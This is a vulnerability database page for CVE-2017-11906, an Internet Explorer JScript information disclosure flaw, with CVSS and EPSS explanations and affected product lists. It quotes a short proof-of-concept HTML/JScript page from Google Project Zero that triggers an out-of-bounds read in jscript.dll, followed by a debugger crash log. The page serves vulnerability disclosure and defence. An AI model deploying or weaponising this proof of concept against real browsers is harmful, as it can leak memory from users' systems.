CVE-2017-11906 : Detail

CVE-2017-11906

5.3
/
Medium
A01-Broken Access Control
76.03%V3
Network
2017-12-12
21h00 +00:00
2024-09-16
22h24 +00:00
CVE.org
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CVE Descriptions

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, and Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows an attacker to obtain information to further compromise the user's system, due to how Internet Explorer handles objects in memory, aka "Scripting Engine Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-11887 and CVE-2017-11919.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.3 MEDIUM CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.6 AV:N/AC:H/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43372

Publication date : 2017-12-18 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1382 There is an out-of-bounds read in jscript.dll library (used in IE, WPAD and other places): PoC for IE (note: page heap might be required to obsorve the crash): ========================================= --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> function go() { var r= new RegExp(Array(100).join('()')); ''.search(r); alert(RegExp.lastParen); } go(); </script> <!-- ========================================= Debug log: ========================================= (cec.a14): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!RegExpFncObj::LastParen+0x43: 000007fe`f23d3813 4863accbac000000 movsxd rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=???????? 0:014> r rax=0000000000000063 rbx=000000000476fd90 rcx=0000000000000063 rdx=0000000000000064 rsi=000000000476fd90 rdi=000007fef23d37d0 rip=000007fef23d3813 rsp=00000000130f9090 rbp=00000000130f9148 r8=00000000130f9210 r9=0000000000000000 r10=000000000463fef0 r11=000000000463ff38 r12=0000000000000083 r13=0000000000000000 r14=00000000130f9210 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 jscript!RegExpFncObj::LastParen+0x43: 000007fe`f23d3813 4863accbac000000 movsxd rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=???????? 0:014> k # Child-SP RetAddr Call Site 00 00000000`130f9090 000007fe`f2385e6d jscript!RegExpFncObj::LastParen+0x43 01 00000000`130f90e0 000007fe`f236b293 jscript!NameTbl::GetVal+0x3d5 02 00000000`130f9170 000007fe`f2369d27 jscript!VAR::InvokeByName+0x873 03 00000000`130f9380 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x373 04 00000000`130fa180 000007fe`f23694b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162 05 00000000`130fa390 000007fe`f23686ea jscript!NameTbl::InvokeInternal+0x2d3 06 00000000`130fa4b0 000007fe`f23624b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 07 00000000`130fa500 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x5a6 08 00000000`130fb300 000007fe`f2368d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 09 00000000`130fb510 000007fe`f2368b95 jscript!ScrFncObj::Call+0xb7 0a 00000000`130fb5b0 000007fe`f236e6c0 jscript!CSession::Execute+0x19e 0b 00000000`130fb680 000007fe`f23770e7 jscript!COleScript::ExecutePendingScripts+0x17a 0c 00000000`130fb750 000007fe`f23768d6 jscript!COleScript::ParseScriptTextCore+0x267 0d 00000000`130fb840 000007fe`e9a85251 jscript!COleScript::ParseScriptText+0x56 0e 00000000`130fb8a0 000007fe`ea20b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 0f 00000000`130fb920 000007fe`e9a86256 MSHTML!CScriptCollection::ParseScriptText+0x37f 10 00000000`130fba00 000007fe`e9a85c8e MSHTML!CScriptData::CommitCode+0x3d9 11 00000000`130fbbd0 000007fe`e9a85a11 MSHTML!CScriptData::Execute+0x283 12 00000000`130fbc90 000007fe`ea2446fb MSHTML!CHtmScriptParseCtx::Execute+0x101 13 00000000`130fbcd0 000007fe`e9b28a5b MSHTML!CHtmParseBase::Execute+0x235 14 00000000`130fbd70 000007fe`e9a02e39 MSHTML!CHtmPost::Broadcast+0x90 15 00000000`130fbdb0 000007fe`e9a5caef MSHTML!CHtmPost::Exec+0x4bb 16 00000000`130fbfc0 000007fe`e9a5ca40 MSHTML!CHtmPost::Run+0x3f 17 00000000`130fbff0 000007fe`e9a5da12 MSHTML!PostManExecute+0x70 18 00000000`130fc070 000007fe`e9a60843 MSHTML!PostManResume+0xa1 19 00000000`130fc0b0 000007fe`e9a46fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1a 00000000`130fc100 000007fe`ea274f78 MSHTML!CDwnChan::OnMethodCall+0x41 1b 00000000`130fc130 000007fe`e9969d75 MSHTML!GlobalWndOnMethodCall+0x240 1c 00000000`130fc1d0 00000000`771f9bbd MSHTML!GlobalWndProc+0x150 1d 00000000`130fc250 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad 1e 00000000`130fc310 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5 1f 00000000`130fc390 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 20 00000000`130ff610 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3 21 00000000`130ff740 000007fe`f535925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 22 00000000`130ff770 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 23 00000000`130ff7c0 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd 24 00000000`130ff7f0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version *

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

References

http://www.securityfocus.com/bid/102078
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039993
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43372/
Tags : exploit, x_refsource_EXPLOIT-DB